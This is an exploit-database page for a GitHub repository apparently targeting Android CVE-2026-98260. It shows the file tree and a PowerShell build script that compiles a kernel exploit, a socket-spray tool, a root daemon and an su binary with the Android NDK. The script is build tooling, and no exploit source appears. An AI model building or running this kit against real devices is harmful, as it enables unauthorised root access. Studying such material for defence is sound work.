Exploit databaseDownload repository ZIP
GH-f9faf357e255d61e3ab5fb54678b4a96
quyicheng03-boop/cve-2026-98260-dada-android
Sources for CVE-2026-98260
60 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files11
quyicheng03-boop/cve-2026-98260-dada-androidRevision a8a8bc12a1a1
- bin/
- docs/
- src/
- third_party/
- .gitattributes
- .gitignore
- LICENSE
- README.md
- THIRD_PARTY_NOTICES.md
- build.ps1
- run_98260.ps1
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
build.ps1
PowerShell · 2,170 bytesparam(
[string]$Ndk29 = (Join-Path $env:LOCALAPPDATA 'Android\Sdk\ndk\29.0.14206865'),
[string]$Ndk28 = (Join-Path $env:LOCALAPPDATA 'Android\Sdk\ndk\28.2.13676358'),
[switch]$VerifyReference
)
$ErrorActionPreference = 'Stop'
$root = Split-Path -Parent $MyInvocation.MyCommand.Path
$clang29 = Join-Path $Ndk29 'toolchains\llvm\prebuilt\windows-x86_64\bin\aarch64-linux-android35-clang.cmd'
$clang28 = Join-Path $Ndk28 'toolchains\llvm\prebuilt\windows-x86_64\bin\aarch64-linux-android35-clang.cmd'
foreach ($path in @($clang29, $clang28)) {
if (-not (Test-Path -LiteralPath $path)) { throw "NDK compiler not found: $path" }
}
$output = Join-Path $root 'build\bin'
New-Item -ItemType Directory -Force -Path $output | Out-Null
$targets = @(
@{ Name = 'dada98260-perf'; Sources = @('exploit-dada-98260.c', 'pc98260_rootd.c'); Static = $true; Compiler = $clang29 },
@{ Name = 'dada-socket-spray'; Sources = @('socket_spray.c'); Static = $true; Compiler = $clang29 },
@{ Name = 'dada98260-su'; Sources = @('pc98260_su.c'); Static = $true; Compiler = $clang29 },
@{ Name = 'order1-churn'; Sources = @('order1-churn.c'); Static = $false; Compiler = $clang28 }
)
foreach ($target in $targets) {
$inputs = @($target.Sources | ForEach-Object { Join-Path $root "src\$_" })
$binary = Join-Path $output $target.Name
$flags = @('-std=gnu11', '-O2', '-pthread')
if ($target.Static) { $flags += '-static' }
& $target.Compiler @flags @inputs -o $binary
if ($LASTEXITCODE -ne 0) { throw "Build failed: $($target.Name)" }
$hash = (Get-FileHash -LiteralPath $binary -Algorithm SHA256).Hash.ToLowerInvariant()
Write-Host "$hash $($target.Name)"
if ($VerifyReference) {
$reference = Join-Path $root "bin\$($target.Name)"
if (-not (Test-Path -LiteralPath $reference)) { throw "Missing reference binary: $reference" }
$expected = (Get-FileHash -LiteralPath $reference -Algorithm SHA256).Hash.ToLowerInvariant()
if ($hash -ne $expected) { throw "Reference hash mismatch: $($target.Name)" }
}
}
if ($VerifyReference) { Write-Host 'All four binaries match the included reference build.' }